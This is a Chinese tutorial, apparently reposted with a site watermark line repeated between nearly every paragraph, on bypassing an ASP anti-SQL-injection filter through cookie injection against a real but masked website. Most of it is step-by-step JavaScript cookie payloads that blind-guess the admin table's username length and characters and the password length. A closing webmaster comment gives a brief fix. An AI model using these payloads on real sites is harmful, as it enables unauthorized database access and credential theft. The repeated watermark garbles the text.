为了保护网站的信息,下面的网址域名做了处理.

学oJ网32页5qy网(http://www.xwangye.com)

我们来看一下这个网站:http://www.xxxxxx.net/
看一下这个新闻:http://www.xxxxxx.net/shownews.asp?id=61

学oJ网32页5qy网(http://www.xwangye.com)

我们提交“and 1=1”

学oJ网32页5qy网(http://www.xwangye.com)

出现了防注入长出现的东西(也是我最讨厌出现的)

学oJ网32页5qy网(http://www.xwangye.com)

但是这样就真的能防注入了么??

学oJ网32页5qy网(http://www.xwangye.com)

因为防注入程序没有限制Request.cookie的方式。所以我们可以利用

学oJ网32页5qy网(http://www.xwangye.com)

Javascript来构造语句。

学oJ网32页5qy网(http://www.xwangye.com)

注意,这里最重要!

学oJ网32页5qy网(http://www.xwangye.com)

我们删掉那里的URL提交:
alert(documents.cookie="id="+escape("61 and 1=1"))
然后打开:
http://www.xxxxxx.net/shownews.asp

学oJ网32页5qy网(http://www.xwangye.com)

看 返回错误页面了!

学oJ网32页5qy网(http://www.xwangye.com)

在提交:
alert(documents.cookie="id="+escape("61 and 1=2"))

学oJ网32页5qy网(http://www.xwangye.com)

看 正常了

学oJ网32页5qy网(http://www.xwangye.com)

为什么会这样呢?

学oJ网32页5qy网(http://www.xwangye.com)

原因是:Javascript脚本将CookieS中的id直给改变了,改成id=61 and 1=2 而原来是ID=61
当我们访问/shownews.asp页面时候,因为没有输入任何变量(也就是id=XX没有输入),这时
ASP程序就会搜索COOKIES里有没有ID直,有的话就从COOKIES中获取。

学oJ网32页5qy网(http://www.xwangye.com)

剩下的就是手工注入了。

学oJ网32页5qy网(http://www.xwangye.com)

为了方便小菜,我就来继续演示一下。

学oJ网32页5qy网(http://www.xwangye.com)

我们在次提交:
alert(documents.cookie="id="+escape("61 and (select len(username) from admin)=7"))

学oJ网32页5qy网(http://www.xwangye.com)

返回正常页面,说明管理员用户名长度是7位。

学oJ网32页5qy网(http://www.xwangye.com)

我们提交
alert(documents.cookie="id="+escape("61 and (select asc(mid(username,1,1)) from admin)=122"))
返回
正常页面。

学oJ网32页5qy网(http://www.xwangye.com)

注意 这里的“122”不是密码,而是ASCII字符,我们得转换过来。这猜解的是第一位。

学oJ网32页5qy网(http://www.xwangye.com)

我们输入

学oJ网32页5qy网(http://www.xwangye.com)

alert(documents.cookie="id="+escape("61 and (select asc(mid(username,2,1)) from admin)=122"))

学oJ网32页5qy网(http://www.xwangye.com)

出错了 说明第二位的ASCII字符不是122,这样就得继续猜解,因为麻烦我就不猜解了,我们讲的是绕过防注入程序而不是入侵。
这就是猜解第二位了,剩下的依此类推。

学oJ网32页5qy网(http://www.xwangye.com)

猜解密码的位数,我们输入:
alert(documents.cookie="id="+escape("61 and (select len(password) from admin)=16"))

学oJ网32页5qy网(http://www.xwangye.com)

说明密码是16位的(应该是MD5)密码猜解跟名字猜解一样我就不演示了。

看 我们这样就绕过了防注入程序~!

学oJ网32页5qy网(http://www.xwangye.com)

站长点评:
平时我们写程序经常为了省事,取得参数时直接就是request("变量名")的形,这样的程序在这里有就有了隐患.建议程序员在写程序是,是querystring的参数就用request.querystring取得,是form变量就是request.form取得.不要偷懒呀.
另附:本人找到的一个视频文件,关于写破解防sql注入的.想安全的朋友可以看一下.
视频教程

学oJ网32页5qy网(http://www.xwangye.com)

学oJ网32页5qy网(http://www.xwangye.com)